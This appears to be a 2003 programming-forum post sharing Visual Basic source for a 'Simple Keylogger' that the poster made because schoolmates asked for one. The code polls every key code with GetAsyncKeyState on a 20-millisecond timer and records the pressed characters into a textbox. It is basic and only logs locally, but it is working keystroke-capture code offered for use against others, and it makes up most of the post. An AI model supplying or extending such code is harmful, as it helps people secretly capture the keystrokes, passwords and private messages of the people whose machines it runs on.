Avis
Junior Poster
Joined: 07 Oct 2003
Posts: 510
Location: India
|
 Posted: Nov 6th, 2003 01:38 AM Post subject: Simple Keylogger |
 |
|
Name: Keylogger
Description: Alot of people have asked my from my school to make a keylogger that is simple for newbs And i did just that!
Inputs: None
Returns: None
Assumes: Put a textbox, timer with 20 milleseconds intervals take all defualt names Paste the following code in the general declaration section of you code.
| Code: | Dim results As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
For i = 1 To 255
results = 0
results = GetAsyncKeyState(i)
If results <> 0 Then Text1.Text = text1.text & Chr(i)
Next
End Sub |
_________________
Code Snippets, Tutorials, Utilities, Controls
Low cost Web Hosting
Hosting starts at as low as $4 per year!
Always follow posting guidelines
Put your VB code in [vb ] your code [ /vb] tags! |
|
